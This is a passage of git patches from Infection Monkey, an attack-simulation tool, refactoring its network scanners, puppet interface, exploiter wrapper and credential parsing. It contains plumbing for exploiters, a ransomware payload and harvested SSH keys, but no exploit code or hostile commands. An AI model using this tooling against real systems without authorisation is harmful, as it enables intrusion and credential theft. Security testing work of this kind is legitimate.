infection_monkey.network_scanning.ssh_fingerprinter import SSHFingerprinter from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index 633b59ed6..ba42da1ba 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -1,3 +1 @@ -from .scan_target_generator import NetworkAddress, NetworkInterface -from .ping_scanner import ping -from .tcp_scanner import scan_tcp_ports +from .info import NetworkAddress, NetworkInterface diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 0ab426fa3..9544675d4 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -1,6 +1,7 @@ import itertools import socket import struct +from collections import namedtuple from ipaddress import IPv4Network from random import randint # noqa: DUO102 from typing import List @@ -11,8 +12,6 @@ import psutil from common.network.network_range import CidrRange from infection_monkey.utils.environment import is_windows_os -from . import NetworkInterface - # Timeout for monkey connections TIMEOUT = 15 LOOPBACK_NAME = b"lo" @@ -21,6 +20,9 @@ SIOCGIFNETMASK = 0x891B # get network PA mask RTF_UP = 0x0001 # Route usable RTF_REJECT = 0x0200 +NetworkInterface = namedtuple("NetworkInterface", ("address", "netmask")) +NetworkAddress = namedtuple("NetworkAddress", ("ip", "domain")) + def get_local_network_interfaces() -> List[NetworkInterface]: network_interfaces = [] diff --git a/monkey/infection_monkey/network_scanning/__init__.py b/monkey/infection_monkey/network_scanning/__init__.py new file mode 100644 index 000000000..8e97b0ec4 --- /dev/null +++ b/monkey/infection_monkey/network_scanning/__init__.py @@ -0,0 +1,2 @@ +from .ping_scanner import ping +from .tcp_scanner import scan_tcp_ports diff --git a/monkey/infection_monkey/network/elasticsearch_fingerprinter.py b/monkey/infection_monkey/network_scanning/elasticsearch_fingerprinter.py similarity index 100% rename from monkey/infection_monkey/network/elasticsearch_fingerprinter.py rename to monkey/infection_monkey/network_scanning/elasticsearch_fingerprinter.py diff --git a/monkey/infection_monkey/network/http_fingerprinter.py b/monkey/infection_monkey/network_scanning/http_fingerprinter.py similarity index 100% rename from monkey/infection_monkey/network/http_fingerprinter.py rename to monkey/infection_monkey/network_scanning/http_fingerprinter.py diff --git a/monkey/infection_monkey/network/mssql_fingerprinter.py b/monkey/infection_monkey/network_scanning/mssql_fingerprinter.py similarity index 100% rename from monkey/infection_monkey/network/mssql_fingerprinter.py rename to monkey/infection_monkey/network_scanning/mssql_fingerprinter.py diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network_scanning/ping_scanner.py similarity index 100% rename from monkey/infection_monkey/network/ping_scanner.py rename to monkey/infection_monkey/network_scanning/ping_scanner.py diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network_scanning/scan_target_generator.py similarity index 96% rename from monkey/infection_monkey/network/scan_target_generator.py rename to monkey/infection_monkey/network_scanning/scan_target_generator.py index 6cec82223..4c8f9815d 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network_scanning/scan_target_generator.py @@ -1,13 +1,10 @@ import itertools import logging import socket -from collections import namedtuple from typing import List from common.network.network_range import InvalidNetworkRangeError, NetworkRange - -NetworkInterface = namedtuple("NetworkInterface", ("address", "netmask")) -NetworkAddress = namedtuple("NetworkAddress", ("ip", "domain")) +from infection_monkey.network import NetworkAddress, NetworkInterface logger = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/network/smb_fingerprinter.py b/monkey/infection_monkey/network_scanning/smb_fingerprinter.py similarity index 100% rename from monkey/infection_monkey/network/smb_fingerprinter.py rename to monkey/infection_monkey/network_scanning/smb_fingerprinter.py diff --git a/monkey/infection_monkey/network/ssh_fingerprinter.py b/monkey/infection_monkey/network_scanning/ssh_fingerprinter.py similarity index 100% rename from monkey/infection_monkey/network/ssh_fingerprinter.py rename to monkey/infection_monkey/network_scanning/ssh_fingerprinter.py diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network_scanning/tcp_scanner.py similarity index 100% rename from monkey/infection_monkey/network/tcp_scanner.py rename to monkey/infection_monkey/network_scanning/tcp_scanner.py diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 1e4ce7e96..c06f047bf 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -2,7 +2,7 @@ import logging import threading from typing import Dict, List, Sequence -from infection_monkey import network +from infection_monkey import network_scanning from infection_monkey.i_puppet import ( Credentials, ExploiterResultData, @@ -40,12 +40,12 @@ class Puppet(IPuppet): return self._mock_puppet.run_pba(name, options) def ping(self, host: str, timeout: float = 1) -> PingScanData: - return network.ping(host, timeout) + return network_scanning.ping(host, timeout) def scan_tcp_ports( self, host: str, ports: List[int], timeout: float = 3 ) -> Dict[int, PortScanData]: - return network.scan_tcp_ports(host, ports, timeout) + return network_scanning.scan_tcp_ports(host, ports, timeout) def fingerprint( self, diff --git a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py index 2b7c10864..766ef0392 100644 --- a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py +++ b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py @@ -3,7 +3,7 @@ from unittest.mock import MagicMock import pytest from infection_monkey.model import VictimHostFactory -from infection_monkey.network.scan_target_generator import NetworkAddress +from infection_monkey.network import NetworkAddress @pytest.fixture diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_elasticsearch_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_elasticsearch_fingerprinter.py similarity index 86% rename from monkey/tests/unit_tests/infection_monkey/network/test_elasticsearch_fingerprinter.py rename to monkey/tests/unit_tests/infection_monkey/network_scanning/test_elasticsearch_fingerprinter.py index f15afa60e..758dc4f35 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_elasticsearch_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_elasticsearch_fingerprinter.py @@ -4,7 +4,10 @@ import pytest from common.common_consts.network_consts import ES_SERVICE from infection_monkey.i_puppet import PortScanData, PortStatus -from infection_monkey.network.elasticsearch_fingerprinter import ES_PORT, ElasticSearchFingerprinter +from infection_monkey.network_scanning.elasticsearch_fingerprinter import ( + ES_PORT, + ElasticSearchFingerprinter, +) PORT_SCAN_DATA_OPEN = {ES_PORT: PortScanData(ES_PORT, PortStatus.OPEN, "", f"tcp-{ES_PORT}")} PORT_SCAN_DATA_CLOSED = {ES_PORT: PortScanData(ES_PORT, PortStatus.CLOSED, "", f"tcp-{ES_PORT}")} @@ -26,7 +29,7 @@ def test_successful(monkeypatch, fingerprinter): "version": {"number": "1.0.0"}, } monkeypatch.setattr( - "infection_monkey.network.elasticsearch_fingerprinter._query_elasticsearch", + "infection_monkey.network_scanning.elasticsearch_fingerprinter._query_elasticsearch", lambda _: successful_server_response, ) @@ -49,7 +52,7 @@ def test_successful(monkeypatch, fingerprinter): def test_fingerprinting_skipped_if_port_closed(monkeypatch, fingerprinter, port_scan_data): mock_query_elasticsearch = MagicMock() monkeypatch.setattr( - "infection_monkey.network.elasticsearch_fingerprinter._query_elasticsearch", + "infection_monkey.network_scanning.elasticsearch_fingerprinter._query_elasticsearch", mock_query_elasticsearch, ) @@ -70,7 +73,7 @@ def test_fingerprinting_skipped_if_port_closed(monkeypatch, fingerprinter, port_ ) def test_no_response_from_server(monkeypatch, fingerprinter, mock_query_function): monkeypatch.setattr( - "infection_monkey.network.elasticsearch_fingerprinter._query_elasticsearch", + "infection_monkey.network_scanning.elasticsearch_fingerprinter._query_elasticsearch", mock_query_function, ) diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py similarity index 96% rename from monkey/tests/unit_tests/infection_monkey/network/test_http_fingerprinter.py rename to monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py index 5b2a89445..8baa97782 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_http_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py @@ -3,7 +3,7 @@ from unittest.mock import MagicMock import pytest from infection_monkey.i_puppet import PortScanData, PortStatus -from infection_monkey.network.http_fingerprinter import HTTPFingerprinter +from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter OPTIONS = {"http_ports": [80, 443, 8080, 9200]} @@ -24,7 +24,7 @@ def mock_get_server_from_headers(): @pytest.fixture(autouse=True) def patch_get_server_from_headers(monkeypatch, mock_get_server_from_headers): monkeypatch.setattr( - "infection_monkey.network.http_fingerprinter._get_server_from_headers", + "infection_monkey.network_scanning.http_fingerprinter._get_server_from_headers", mock_get_server_from_headers, ) diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_mssql_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py similarity index 89% rename from monkey/tests/unit_tests/infection_monkey/network/test_mssql_fingerprinter.py rename to monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py index 93c40125e..8ae7d7fca 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_mssql_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py @@ -4,7 +4,7 @@ from unittest.mock import MagicMock import pytest from infection_monkey.i_puppet import PortScanData, PortStatus -from infection_monkey.network.mssql_fingerprinter import ( +from infection_monkey.network_scanning.mssql_fingerprinter import ( MSSQL_SERVICE, SQL_BROWSER_DEFAULT_PORT, MSSQLFingerprinter, @@ -36,7 +36,7 @@ def test_mssql_fingerprint_successful(monkeypatch, fingerprinter): b"IsClustered;No;Version;11.1.1111.111;tcp;1433;np;blah_blah;;" ) monkeypatch.setattr( - "infection_monkey.network.mssql_fingerprinter._query_mssql_for_instance_data", + "infection_monkey.network_scanning.mssql_fingerprinter._query_mssql_for_instance_data", lambda _: successful_server_response, ) @@ -69,7 +69,7 @@ def test_mssql_fingerprint_successful(monkeypatch, fingerprinter): ) def test_mssql_no_response_from_server(monkeypatch, fingerprinter, mock_query_function): monkeypatch.setattr( - "infection_monkey.network.mssql_fingerprinter._query_mssql_for_instance_data", + "infection_monkey.network_scanning.mssql_fingerprinter._query_mssql_for_instance_data", mock_query_function, ) @@ -89,7 +89,7 @@ def test_mssql_wrong_response_from_server(monkeypatch, fingerprinter): b"Pellentesque ultrices ornare libero, ;;" ) monkeypatch.setattr( - "infection_monkey.network.mssql_fingerprinter._query_mssql_for_instance_data", + "infection_monkey.network_scanning.mssql_fingerprinter._query_mssql_for_instance_data", lambda _: mangled_server_response, ) diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_ping.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping.py similarity index 98% rename from monkey/tests/unit_tests/infection_monkey/network/test_ping.py rename to monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping.py index 422f234f7..45cd523b4 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_ping.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping.py @@ -3,7 +3,7 @@ from unittest.mock import MagicMock import pytest -from infection_monkey.network import ping +from infection_monkey.network_scanning import ping LINUX_SUCCESS_OUTPUT = """ PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_scan_target_generator.py similarity index 98% rename from monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py rename to monkey/tests/unit_tests/infection_monkey/network_scanning/test_scan_target_generator.py index 03febe44c..631d65fa8 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_scan_target_generator.py @@ -3,11 +3,8 @@ from itertools import chain import pytest from common.network.network_range import InvalidNetworkRangeError -from infection_monkey.network.scan_target_generator import ( - NetworkAddress, - NetworkInterface, - compile_scan_target_list, -) +from infection_monkey.network import NetworkAddress, NetworkInterface +from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list def compile_ranges_only(ranges): diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_ssh_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py similarity index 97% rename from monkey/tests/unit_tests/infection_monkey/network/test_ssh_fingerprinter.py rename to monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py index b3df98cd9..69c8eb580 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_ssh_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py @@ -1,7 +1,7 @@ import pytest from infection_monkey.i_puppet import FingerprintData, PortScanData, PortStatus -from infection_monkey.network.ssh_fingerprinter import SSHFingerprinter +from infection_monkey.network_scanning.ssh_fingerprinter import SSHFingerprinter @pytest.fixture diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_tcp_scanning.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_tcp_scanning.py similarity index 92% rename from monkey/tests/unit_tests/infection_monkey/network/test_tcp_scanning.py rename to monkey/tests/unit_tests/infection_monkey/network_scanning/test_tcp_scanning.py index e383e1004..725a3aaa0 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_tcp_scanning.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_tcp_scanning.py @@ -1,7 +1,7 @@ import pytest from infection_monkey.i_puppet import PortStatus -from infection_monkey.network import scan_tcp_ports +from infection_monkey.network_scanning import scan_tcp_ports PORTS_TO_SCAN = [22, 80, 8080, 143, 445, 2222] @@ -11,7 +11,7 @@ OPEN_PORTS_DATA = {22: "SSH-banner", 80: "", 2222: "SSH2-banner"} @pytest.fixture def patch_check_tcp_ports(monkeypatch, open_ports_data): monkeypatch.setattr( - "infection_monkey.network.tcp_scanner._check_tcp_ports", + "infection_monkey.network_scanning.tcp_scanner._check_tcp_ports", lambda *_: open_ports_data, ) From 32d618ac9299dbe99610593ef5f5c4bfc8d344e4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Feb 2022 12:09:40 -0500 Subject: [PATCH 0534/1110] Agent: Modify IPuppet interface to take VictimHost instead of object --- monkey/infection_monkey/i_puppet/i_puppet.py | 7 ++++--- monkey/infection_monkey/puppet/mock_puppet.py | 3 ++- monkey/infection_monkey/puppet/puppet.py | 4 ++-- 3 files changed, 8 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index fb861c76f..5b27de4f6 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -5,6 +5,8 @@ from dataclasses import dataclass from enum import Enum from typing import Dict, Iterable, List, Mapping, Sequence +from infection_monkey.model import VictimHost + from . import PluginType from .credential_collection import Credentials @@ -110,15 +112,14 @@ class IPuppet(metaclass=abc.ABCMeta): :rtype: FingerprintData """ - # TODO: host should be VictimHost, at the moment it can't because of circular dependency @abc.abstractmethod def exploit_host( - self, name: str, host: object, options: Dict, interrupt: threading.Event + self, name: str, host: VictimHost, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: """ Runs an exploiter against a remote host :param str name: The name of the exploiter to run - :param object host: The domain name or IP address of a host + :param VictimHost host: A VictimHost object representing the target to exploit :param Dict options: A dictionary containing options that modify the behavior of the exploiter :param threading.Event interrupt: A threading.Event object that signals the exploit to stop diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 8a7f5935d..d43d48983 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -14,6 +14,7 @@ from infection_monkey.i_puppet import ( PortStatus, PostBreachData, ) +from infection_monkey.model import VictimHost DOT_1 = "10.0.0.1" DOT_2 = "10.0.0.2" @@ -136,7 +137,7 @@ class MockPuppet(IPuppet): # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( - self, name: str, host: object, options: Dict, interrupt: threading.Event + self, name: str, host: VictimHost, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: logger.debug(f"exploit_hosts({name}, {host}, {options})") attempts = [ diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index c06f047bf..1df3df885 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -13,6 +13,7 @@ from infection_monkey.i_puppet import ( PortScanData, PostBreachData, ) +from infection_monkey.model import VictimHost from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from .mock_puppet import MockPuppet @@ -58,9 +59,8 @@ class Puppet(IPuppet): fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER) return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options) - # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( - self, name: str, host: object, options: Dict, interrupt: threading.Event + self, name: str, host: VictimHost, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER) return exploiter.exploit_host(host, self._telemetry_messenger, options) From 55c3236d8e900844755100ffbf058efda3ba2ccd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Feb 2022 10:19:27 -0500 Subject: [PATCH 0535/1110] Changelog: Remove ShellShock exploiter --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index f1796d1e3..97017beb5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -45,6 +45,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - MS08-067 (Conficker) exploiter. #1677 - Agent bootloader. #1676 - Zero Trust integration with ScoutSuite. #1669 +- ShellShock exploiter. #1733 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From e17d95bf18b75dbeb4cd2e11eed85fd91ff8f88b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 23 Feb 2022 17:38:15 +0200 Subject: [PATCH 0536/1110] Island: small improvements code style in credential parsing code --- .../telemetry/processing/credentials/credentials.py | 8 ++++---- .../processing/credentials/credentials_parser.py | 2 +- .../processing/credentials/secrets/ssh_key_processor.py | 6 +++--- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py index 70d13b594..5cb169ae4 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py @@ -1,17 +1,17 @@ from __future__ import annotations from dataclasses import dataclass -from typing import Sequence +from typing import Sequence, Mapping, Any @dataclass(frozen=True) class Credentials: - identities: Sequence[dict] - secrets: Sequence[dict] + identities: Sequence[Mapping] + secrets: Sequence[Mapping] monkey_guid: str @staticmethod - def from_dict(cred_dict: dict, monkey_guid: str) -> Credentials: + def from_mapping(cred_dict: Mapping[str, Any], monkey_guid: str) -> Credentials: return Credentials( identities=cred_dict["identities"], secrets=cred_dict["secrets"], diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index 2c42fa2c8..9df47f91d 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -24,7 +24,7 @@ CREDENTIAL_COMPONENT_PROCESSORS = { def parse_credentials(telemetry_dict: Mapping): credentials = [ - Credentials.from_dict(credential, telemetry_dict["monkey_guid"]) + Credentials.from_mapping(credential, telemetry_dict["monkey_guid"]) for credential in telemetry_dict["data"] ] diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py index 0b299edfb..0273732da 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py @@ -15,13 +15,13 @@ class SSHKeyProcessingError(ValueError): def process_ssh_key(keypair: Mapping, credentials: Credentials): if len(credentials.identities) != 1: raise SSHKeyProcessingError( - f"SSH credentials have {len(credentials.identities)}" f" users associated with " f"it!" + f"SSH credentials have {len(credentials.identities)} users associated with it!" ) if not _contains_both_keys(keypair): - raise SSHKeyProcessingError("Private or public key missing!") + raise SSHKeyProcessingError("Private or public key missing") - # TODO SSH key should be associated with IP that monkey exploited + # TODO investigate if IP is needed at all ip = Monkey.get_single_monkey_by_guid(credentials.monkey_guid).ip_addresses[0] username = credentials.identities[0]["username"] From 2431e2f20b0cdeabb17bced1d425659a93139e76 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Feb 2022 12:00:42 -0500 Subject: [PATCH 0537/1110] Agent: Fix typo in "exploitation_result" key --- monkey/monkey_island/cc/services/edge/edge.py | 2 +- .../monkey_island/cc/services/telemetry/processing/exploit.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/edge/edge.py b/monkey/monkey_island/cc/services/edge/edge.py index 1ec7462c3..ca0c34731 100644 --- a/monkey/monkey_island/cc/services/edge/edge.py +++ b/monkey/monkey_island/cc/services/edge/edge.py @@ -78,7 +78,7 @@ class EdgeService(Edge): def update_based_on_exploit(self, exploit: Dict): self.exploits.append(exploit) self.save() - if exploit["exploitation_success"]: + if exploit["exploitation_result"]: self.set_exploited() def set_exploited(self): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index c63672127..a867267d0 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -65,7 +65,7 @@ def update_network_with_exploit(edge: EdgeService, telemetry_json): new_exploit.pop("machine") new_exploit["timestamp"] = telemetry_json["timestamp"] edge.update_based_on_exploit(new_exploit) - if new_exploit["exploitation_success"]: + if new_exploit["exploitation_result"]: NodeService.set_node_exploited(edge.dst_node_id) From 5cbcb88dd69f80cbf43e3dd61efcc87beefc6aa1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Feb 2022 11:36:21 -0500 Subject: [PATCH 0538/1110] Agent: Add ExploiterWrapper Issue #1605 PR #1739 --- monkey/infection_monkey/exploit/__init__.py | 1 + .../exploit/exploiter_wrapper.py | 32 +++++++++++++++++++ monkey/infection_monkey/monkey.py | 11 +++++-- monkey/infection_monkey/puppet/puppet.py | 6 ++-- .../infection_monkey/puppet/test_puppet.py | 15 +++------ 5 files changed, 48 insertions(+), 17 deletions(-) create mode 100644 monkey/infection_monkey/exploit/exploiter_wrapper.py diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index e69de29bb..42d8d18bf 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -0,0 +1 @@ +from .exploiter_wrapper import ExploiterWrapper diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py new file mode 100644 index 000000000..444c89b31 --- /dev/null +++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py @@ -0,0 +1,32 @@ +from typing import Dict, Type + +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +from .HostExploiter import HostExploiter + + +class ExploiterWrapper: + """ + This class is a temporary measure to allow existing exploiters to play nicely within the + confines of the IPuppet interface. It keeps a reference to an ITelemetryMessenger that is passed + to all exploiters. Additionally, it constructs a new instance of the exploiter for each call to + exploit_host(). When exploiters are refactored into plugins, this class will likely go away. + """ + + class Inner: + def __init__( + self, exploit_class: Type[HostExploiter], telemetry_messenger: ITelemetryMessenger + ): + self._exploit_class = exploit_class + self._telemetry_messenger = telemetry_messenger + + def exploit_host(self, host: VictimHost, options: Dict): + exploiter = self._exploit_class() + return exploiter.exploit_host(host, self._telemetry_messenger, options) + + def __init__(self, telemetry_messenger: ITelemetryMessenger): + self._telemetry_messenger = telemetry_messenger + + def wrap(self, exploit_class: Type[HostExploiter]): + return ExploiterWrapper.Inner(exploit_class, self._telemetry_messenger) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 087fa9959..fc52290bb 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import ( MimikatzCredentialCollector, SSHCredentialCollector, ) +from infection_monkey.exploit import ExploiterWrapper from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster @@ -195,7 +196,7 @@ class InfectionMonkey: return local_network_interfaces def _build_puppet(self) -> IPuppet: - puppet = Puppet(self.telemetry_messenger) + puppet = Puppet() puppet.load_plugin( "MimikatzCollector", @@ -214,7 +215,13 @@ class InfectionMonkey: puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) - puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER) + exploit_wrapper = ExploiterWrapper(self.telemetry_messenger) + + puppet.load_plugin( + "SSHExploiter", + exploit_wrapper.wrap(SSHExploiter), + PluginType.EXPLOITER, + ) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 1df3df885..e10695993 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -15,7 +15,6 @@ from infection_monkey.i_puppet import ( ) from infection_monkey.model import VictimHost -from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from .mock_puppet import MockPuppet from .plugin_registry import PluginRegistry @@ -23,10 +22,9 @@ logger = logging.getLogger() class Puppet(IPuppet): - def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None: + def __init__(self) -> None: self._mock_puppet = MockPuppet() self._plugin_registry = PluginRegistry() - self._telemetry_messenger = telemetry_messenger def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) @@ -63,7 +61,7 @@ class Puppet(IPuppet): self, name: str, host: VictimHost, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER) - return exploiter.exploit_host(host, self._telemetry_messenger, options) + return exploiter.exploit_host(host, options) def run_payload(self, name: str, options: Dict, interrupt: threading.Event): payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index 54b9275ae..70c98d252 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -1,19 +1,12 @@ import threading from unittest.mock import MagicMock -import pytest - from infection_monkey.i_puppet import PluginType from infection_monkey.puppet.puppet import Puppet -@pytest.fixture -def mock_telemetry_messenger(): - return MagicMock() - - -def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger): - p = Puppet(mock_telemetry_messenger) +def test_puppet_run_payload_success(): + p = Puppet() payload = MagicMock() payload_name = "PayloadOne" @@ -24,8 +17,8 @@ def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger): payload.run.assert_called_once() -def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger): - p = Puppet(mock_telemetry_messenger) +def test_puppet_run_multiple_payloads(): + p = Puppet() payload_1 = MagicMock() payload1_name = "PayloadOne" From 0501bb70375d564ef8d32421fdd6a4ea2498935f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 12:44:39 +0530 Subject: [PATCH 0539/1110] Agent: Remove architecture setting from web_rce.py --- monkey/infection_monkey/exploit/web_rce.py | 49 ++-------------------- monkey/infection_monkey/model/__init__.py | 3 +- 2 files changed, 4 insertions(+), 48 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 5c315e61d..e03004942 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -1,11 +1,10 @@ import logging -import re from abc import abstractmethod from posixpath import join from typing import List, Tuple from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus -from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 +from infection_monkey.exploit.consts import WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools @@ -15,8 +14,6 @@ from infection_monkey.model import ( 